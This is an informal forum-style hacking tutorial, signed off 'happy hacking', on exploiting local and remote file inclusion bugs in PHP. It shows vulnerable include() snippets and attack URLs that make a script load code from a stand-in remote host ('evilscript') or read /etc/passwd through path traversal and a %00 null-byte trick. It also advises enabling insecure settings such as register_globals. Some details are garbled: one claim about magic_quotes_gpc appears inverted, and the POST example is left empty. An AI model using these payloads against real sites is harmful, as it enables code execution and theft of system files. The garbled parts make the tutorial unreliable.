Local-And Remote File Inclusions Explained

~Local - Remote File Inclusions~
~Lfi - Rfi~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Hey guys,
after you have voted a lot i suggested to write a tutorial on how to find
rfi and lfi bugs in web scripts.
Usefull php.ini settings:
regsiter_globals=On //if a variable isnt defined,you can define via the browser,we will see later
maybe u willl also need to turn:
magic_quotes_gpc on to do things like %00
you can access the php configuration by:
phpinfo();
?>
or apache/bin/php.ini to change settings;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ok as you know there are 2 kinds of file inclusions:
remote and local file inclusions.
But how does a typical code look like?
Here an example if register_globals is turned on
$a="/folder/";
$b="c";
include($script.$a);
?>
now you could execute by:
file.php?script=http://evilscript/script.txt?or %00
what will happen if you do;:
file.php?script=http://evilscript/script.txt
the script will try to include /folder/ too,
but thats senseless so it will ignore everything after ? or %00
For a local file inclusion you would have to do:
file.php?file=../etc/passwd? or %00
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
THe easier one,
include() by POST or GET datas.
script:
include($_GET['file']);
?>
then you would have to do:
script.php?file=http://evilscript/script.txt? || %00
for lfi:
script.php?file=local_script //etc/passwd
by post it would look like:
include($_POST['file']);
?>
then you would have to make a script like this

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I hope you enjoyed the tutorial , happy hacking =]